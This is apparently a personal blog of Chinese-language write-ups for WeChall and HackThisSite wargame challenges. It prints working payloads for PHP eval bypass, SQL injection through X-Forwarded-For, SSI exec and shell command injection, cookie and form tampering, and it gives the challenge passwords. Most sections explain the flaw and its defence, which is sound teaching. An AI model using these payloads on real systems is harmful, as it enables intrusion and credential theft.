Hello Navi

Tech, Security & Personal Notes

Challenge

space 的 PHP eval 小挑战。目标是在 13 字节以内构造一个表达式,让执行后的 $spaceone 严格等于字符串 1337

页面给出完整源码,核心逻辑是读取 GET 参数 eval,删除一批字符,限制长度,然后拼进 eval()

1
2
3
4
5
6
7
8
9
10
11
$f = Common::getGetString('eval');
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);

if ((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!');
}

eval("\$spaceone = $f");

return ($spaceone === '1337');

最后是 strict comparison,所以直接提交 1337 不行:

1
$spaceone = 1337;

这样得到的是 integer 1337,不是 string "1337"

Solution

约束很紧:

  • 引号 " / ' 会被删除,不能直接写字符串。
  • $ 会被删除,不能引用变量。
  • . 会被删除,不能拼接字符串。
  • ( / ) 会被删除,基本不能调用函数。
  • > 会被删除,但 < 没有被删。
  • 长度最多 13 字节,且不能包含 return

问题变成:PHP 有没有不需要引号的字符串字面量?答案是 heredoc。

1
2
3
<<<a
1337
a;

这里用一字符标识符 a,字节数刚好卡进限制:

1
2
<<<a\n1337\na;\n
4 + 1 + 4 + 1 + 2 + 1 = 13

payload 只用到 <、字母、数字、分号和换行,都不会被过滤。进入 eval() 后等价于:

1
2
3
$spaceone = <<<a
1337
a;

heredoc 表达式的值是字符串 "1337",因此能通过 $spaceone === '1337'

用 curl 提交时让 --data-urlencode 处理换行,避免手写 %0A 出错:

1
2
3
4
5
6
$ curl -sL -G \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode $'eval=<<<a\n1337\na;\n' \
'https://www.wechall.net/challenge/space/php0819/index.php' \
| grep -o 'Your answer is correct'
Your answer is correct

等价的 URL 参数是:

1
eval=%3C%3C%3Ca%0A1337%0Aa%3B%0A

Challenge

一个带源码的 guestbook 挑战。页面会把留言、session id、时间和访问者 IP 写入数据库;目标是找到 Admin 的密码。

关键点不在留言内容,而在 IP 来源:程序信任 X-Forwarded-For,并把它当作字符串直接拼进 INSERT

Solution

源码里的 IP 获取逻辑大致是:优先读取 $_SERVER['HTTP_X_FORWARDED_FOR'],否则才使用真实远端地址。随后写入 guestbook:

1
INSERT INTO gbook_book VALUES('$sessid', 0, $time, '$ip', '$message')

$message 会被正常处理,但 $ip 没有转义。因为 $ip 被包在单引号里,可以用 X-Forwarded-For 关闭当前字符串,再补齐后面的 VALUES 字段。

先构造一个不依赖盲注的 payload:把 Admin 密码查出来,直接写到 guestbook 的 message 字段里。

1
127.0.0.1', (SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#

代入后 SQL 变成:

1
2
3
4
5
6
7
INSERT INTO gbook_book VALUES(
'$sessid',
0,
$time,
'127.0.0.1',
(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#',
'$message')

# 注释掉原本剩下的 ', '$message'),于是子查询结果会作为留言内容落库。

实际提交时需要带登录 cookie,并先从页面取当前 CSRF token:

1
2
3
4
5
6
$ curl -s -b 'WC=...' \
-H "X-Forwarded-For: 127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#" \
--data-urlencode 'message=test' \
--data-urlencode 'sign=Sign Guestbook' \
--data-urlencode 'gwf3_csrf=TOKEN' \
'https://www.wechall.net/en/challenge/guestbook/index.php'

再刷新 guestbook,刚插入的记录会显示 Admin 密码。

TheBrownFoxAndTheLazyDog

Challenge

WeChall 自带的随机问答挑战。每次访问页面会随机显示一道选择题,需要在 60 秒内提交正确答案。答对若干题后自动完成。

题目范围覆盖计算机历史、技术术语、影视、文学、地理等类别,随机抽取。

Solution

每道题都有一个 60 秒的计时器,表面看需要广泛的知识储备才能通过。但挑战的题库文件意外地暴露在 Web 上。

题库泄露

挑战页面所在的目录下有一个隐藏子目录:

1
/challenge/trivia/74k37h053/

目录名 74k37h053 是 leetspeak,指向 3 个纯文本文件,包含了完整的问答数据库:

文件 题数 内容
gizmore.txt 7 Gizmore 自创的冷门题
z.txt 116 综合题库(影视/文学/历史/技术)
InternalAffairs-Computers.txt 59 计算机/技术专项(缩写/历史/网络)

每题的格式统一:

1
/Category/Answer1/AlternativeAnswer//Question text?

例如:

1
2
3
4
5
6
7
/Acronyms-Hardware/Central Processing Unit//What does CPU stand for?
/History-Computers/Moore's Law/Moore//What law says that the number of transistors doubles every 18 months?
/Technical-Networks/Tier-1 (T1)/Tier-1/T-1/T1//1.544 Mbps is the transfer rate of which common broadband technology?
/Computers/Dmitry Sklyarov//Who was arrested at DEFCON in 2001?
/Computers/Pretty Good Privacy//PGP is the acronym for?
/Computers/town hall//What is the primary structure in Warcraft: Orcs & Humans?
/Celebrity/Bill Gates//Who is the most famous for getting a cake in his face?

自动化答题

拿到题库后,解法就很简单了:

  1. 读取页面,提取问题文本
  2. 在题库中逐条匹配,找到对应的答案
  3. 在 60 秒内提交

由于每次加载页面都会刷新 CSRF token,提取题目和提交需要在同一次请求中完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import subprocess, re

cookie = 'WC=...'
url = 'https://www.wechall.net/challenge/trivia/index.php'
qa_bank = {} # 从 3 个 txt 文件解析

# 解析题库
def load_qa(path):
for line in open(path):
parts = line.strip().split('//')
if len(parts) == 2:
meta, question = parts
# /category/answer1/answer2 → answer1
answer = meta.rsplit('/')[-1]
qa_bank[question.strip()] = answer

# 一次提取 + 提交
html = subprocess.run(['curl', '-sL', '-b', cookie, url],
capture_output=True, text=True).stdout

question = re.search(r'Question:<br/>\s*(.*?)<br/>', html).group(1)
csrf = re.search(r'gwf3_csrf" value="([^"]+)"', html).group(1)
answer = qa_bank.get(question.strip())

subprocess.run(['curl', '-sL', '-b', cookie, url,
'--data-urlencode', f'answer={answer}',
'--data-urlencode', 'cmd=Answer',
'--data-urlencode', f'gwf3_csrf={csrf}'],
capture_output=True, text=True)

答对约 10-15 道不同的题后,页面显示 "already solved",挑战完成。

Challenge

This time Sam used a more temporary and "hidden" approach to authenticating users, but he didn't think about whether or not those users knew their way around javascript...

Sam 使用了一种更临时、更"隐蔽"的方式来认证用户,但他没考虑到用户是否懂 JavaScript。

页面有一个密码输入框。

Solution

访问页面时,服务器会设置一个 cookie:

1
Set-Cookie: level10_authorized=no

提交密码时,服务器检查这个 cookie 的值。如果 level10_authorized=no,则拒绝访问。

解法:将 cookie 值改为 yes,然后提交表单。

方式一:浏览器开发者工具 Console:

1
document.cookie = "level10_authorized=yes";

方式二:curl:

1
2
3
4
5
$ curl -sL \
-b 'HackThisSite=YOUR_COOKIE; level10_authorized=yes' \
-e 'https://www.hackthissite.org/missions/basic/10/' \
-d 'password=' \
'https://www.hackthissite.org/missions/basic/10/index.php'

核心知识点:Cookie 是存储在客户端的,用户可以随意修改。不要依赖客户端 cookie 来做安全认证决策。任何存储在客户端的状态都可以被篡改。

Challenge

Network Security Sam is going down with the ship - he's determined to keep obscuring the password file, no matter how many times people manage to recover it. This time the file is saved in /var/www/hackthissite.org/html/missions/basic/9/.

In the last level, however, in my attempt to limit people to using server side includes to display the directory listing to level 8 only, I have mistakenly screwed up somewhere.. there is a way to get the obscured level 9 password.

Sam 坚持继续藏密码文件。这次藏在 /missions/basic/9/ 目录。 但他承认上一关的限制搞砸了——仍然有办法获取 level 9 的密码。

注意:这一关页面没有输入框(除了密码框),没有可直接注入的地方。

Solution

题目暗示上一关的 SSI 漏洞仍然可以利用来访问 level 9 的密码。

回到 Basic 8 的 level8.php,再次使用 SSI 注入,但这次将路径指向 level 9 的目录:

1
<!--#exec cmd="ls ../9/" -->

提交后访问生成的 .shtml 文件,输出显示 level 9 目录内容:

1
2
index.php
p91e283zc3.php ← 密码文件

访问 https://www.hackthissite.org/missions/basic/9/p91e283zc3.php 获取密码。

核心知识点: 1. 修复一个漏洞时要确保修复彻底——不能只限制某个特定范围就以为安全了 2. 路径遍历(directory traversal)可以突破相对路径限制

1883004c

Challenge

Sam remains confident that an obscured password file is still the best idea, but he screwed up with the calendar program. Sam has saved the unencrypted password file in /var/www/hackthissite.org/html/missions/basic/8/

Sam 仍然认为把密码文件藏起来是个好办法。密码文件保存在 /missions/basic/8/ 目录下。

Sam 的女儿 Stephanie 刚学了 PHP,她写了一个脚本来展示保存文件的能力。

页面有一个"Enter your name"输入框,还有一个密码输入框。

Solution

Stephanie 的脚本会保存用户输入的名字到一个 .shtml 文件中。.shtml 是 Server-Side Includes (SSI) 文件,服务器会解析其中的 SSI 指令。

尝试输入 SSI exec 指令来执行 shell 命令:

1
<!--#exec cmd="ls ../" -->

提交后,页面返回一个链接指向生成的 .shtml 文件(如 tmp/fyrvqqak.shtml)。访问这个链接,服务器会解析 SSI 指令并执行 ls ../,输出 /missions/basic/8/ 目录的内容:

1
2
3
4
au12ha39vc.php    ← 密码文件
index.php
level8.php
tmp/

然后访问 https://www.hackthissite.org/missions/basic/8/au12ha39vc.php 获取密码。

注意:服务器限制了可执行的命令范围(只允许与查找密码文件相关的命令),但 ls 是被允许的。

核心知识点:SSI Injection(服务器端包含注入)。当用户输入被保存到 .shtml 文件并由服务器解析时,SSI 指令中的 exec 可以执行任意 shell 命令。防御方法:不要将用户输入存储在会被服务器解析的文件中,或严格过滤 SSI 特殊字符。

4046427a

Challenge

This time Network Security Sam has saved the unencrypted level7 password in an obscurely named file saved in this very directory. In other unrelated news, Sam has set up a script that returns the output from the UNIX cal command.

Sam 把未加密的密码文件保存在当前目录下,文件名很隐蔽。另外,Sam 还设置了一个脚本,可以返回 UNIX cal 命令的输出。

页面有一个输入框,可以输入年份查看日历,调用的是后端的 cal.pl Perl 脚本。

Solution

关键线索: 1. 密码文件在当前目录(/missions/basic/7/) 2. 页面调用 UNIX cal 命令 3. 可以通过这个表单执行命令

在 UNIX 中,可以用 && 连接多个命令。cal 2024 && ls 会先输出日历,然后列出当前目录的文件。

2024 && ls 输入到表单中:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/7/' \
--data-urlencode 'cal=2024 && ls' \
'https://www.hackthissite.org/missions/basic/7/cal.pl'

在日历输出之后,会看到目录中的文件列表:

1
2
3
index.php
level7.php
k1kh31b1n55h.php ← 这就是密码文件

访问 https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php 即可获取密码。

核心知识点:Command Injection(命令注入)。当用户输入被直接拼接到 shell 命令中时,攻击者可以用 &&;| 等 shell 操作符注入额外的命令。防御方法是使用参数化调用(如 Python 的 subprocess.runshell=False),或严格过滤输入。

00d7c5f8

Challenge

Network Security Sam has encrypted his password. The encryption system is publically available and can be accessed with this form.

Sam 把他的密码加密了。加密系统是公开的,可以通过页面上的表单访问。

已知加密后的密码:477djk?=

页面提供了一个加密工具,可以输入任意字符串查看加密结果。

Solution

这题需要逆向加密算法。先用加密工具测试几组已知明文,观察规律:

输入 aaaa(4个相同的字符):

1
aaaa → abcd

规律很明显:每个字符的 ASCII 值加上了它的位置索引(从0开始)。

1
2
3
4
a(0) + 0 = a
a(1) + 1 = b
a(2) + 2 = c
a(3) + 3 = d

所以加密公式是:encrypted[i] = chr(ord(plaintext[i]) + i)

解密即为逆操作:plaintext[i] = chr(ord(encrypted[i]) - i)

Python 解密脚本:

1
2
3
4
5
encrypted = "477djk?="
decrypted = ""
for i, c in enumerate(encrypted):
decrypted += chr(ord(c) - i)
print(decrypted) # 465aff96

验证:重新加密 465aff96

1
2
3
4
5
6
7
8
4 + 0 = 4
6 + 1 = 7
5 + 2 = 7
a + 3 = d
f + 4 = j
f + 5 = k
9 + 6 = ?
6 + 7 = =

结果:477djk?=,与已知密文完全匹配。

自定义加密算法如果有公开的加密 oracle(可以任意加密已知明文),攻击者可以通过 chosen-plaintext attack 推导出算法逻辑,进而解密任意密文。

465aff96

Challenge

Sam has gotten wise to all the people who wrote their own forms to get the password. Rather than actually learn the password, he decided to make his email program a little more secure.

Sam 发现很多人自己写表单来获取密码。他没有去真正学密码,而是让邮件程序变得更安全了一些。

Solution

这题和 Basic 4 基本一样,只是增加了 Referer 验证。服务端会检查请求来源是否来自 /missions/basic/5/ 页面本身。

解决方法完全相同——修改隐藏的 to 字段,但必须同时发送正确的 Referer:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/5/' \
-d 'to=YOUR_EMAIL' \
'https://www.hackthissite.org/missions/basic/5/level5.php'

-e 参数设置 Referer header。如果不带 Referer 或 Referer 不匹配,会返回 Invalid Referer 错误。

核心知识点:Referer header 同样可以被伪造。它不是安全机制,不能用来防止跨站请求。唯一可靠的防御是服务端独立验证权限。

92bf24e2

Challenge

This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot.

这次 Sam 把密码硬编码在脚本里了。密码很长很复杂,而 Sam 经常忘,所以他写了一个脚本,会自动把密码发送到他的邮箱。

页面上有两个表单: - 一个"Send password to Sam"按钮 - 一个密码输入框

Solution

查看源代码,发现"Send password to Sam"按钮对应的表单里有一个隐藏字段:

1
2
3
4
<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />
</form>

收件人地址 sam@hackthissite.org 是硬编码的。只需将 to 字段的值改成你自己的邮箱地址,然后提交——密码就会发到你的邮箱。

修改方式: 1. 浏览器开发者工具(F12)→ Elements → 直接修改 value="sam@hackthissite.org" 为你的邮箱 2. 或者用 curl 直接 POST:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/4/' \
-d 'to=YOUR_EMAIL' \
'https://www.hackthissite.org/missions/basic/4/level4.php'

然后去邮箱查收密码。

客户端表单验证毫无意义。任何隐藏字段都可以被修改,任何表单都可以被自定义提交。服务端必须独立验证所有输入。

206a6f9d
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE